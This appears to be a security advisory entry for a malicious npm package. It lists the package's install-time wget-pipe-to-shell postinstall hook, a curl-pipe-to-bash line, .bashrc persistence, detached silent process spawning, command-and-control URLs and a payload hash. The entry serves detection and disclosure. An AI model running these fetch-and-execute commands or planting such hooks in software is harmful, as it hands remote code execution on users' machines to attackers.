GCVE-110-OSM-2026-5980

Malicious package detected. Behaviors: data exfiltration, code execution, network activity, install-time execution. ENTRY src/index.js (main: ./src/index.js) - Postinstall Script in package.json: ""postinstall": "wget -qO- https://web.stanford.edu/~pseay/pliant/setup.sh | sh"" PERSISTENCE - Startup Persistence in scripts/setup-env.sh: ".bashrc" - Startup Persistence in scripts/setup.js: ".bashrc" DESTINATION - urls: https://web.stanford.edu/~pseay/pliant/setup.sh (fetched-payload, plaintext) - urls: https://web.stanford.edu/~pseay/pliant/et (c2, plaintext) - urls: https://web.stanford.edu/~pseay/pliant/pseudo-sudo (c2, plaintext) - domains: script.sh (fetched-payload, plaintext) - domains: web.stanford.edu (fetched-payload, plaintext) EXFIL - Curl/Wget Pipe to Shell in package.json: "wget -qO- https://web.stanford.edu/~pseay/pliant/setup.sh | sh" - Curl/Wget Pipe to Shell in src/index.js: "curl -fsSL https://example.com/script.sh | bash" - System Information Collection in scripts/setup.js: "os.homedir()" ADDITIONAL FINDINGS - Stealth Background Process Spawning in src/index.js: "spawn(target.command, target.args, { detached: true, stdio: "ignore" }" - Silent Process Execution in src/index.js: "stdio: "ignore"" - Detached Child Process Payload in src/index.js: "spawn(target.command, target.args, { detached: true" PAYLOAD FILES src/index.js (+ scripts/setup.js) INDICATORS (IOCs) - payloadFileHash: 60a944d3f7a425ddd9b05ddf51d5d55cac6109402378680018cd5e2fb696ee50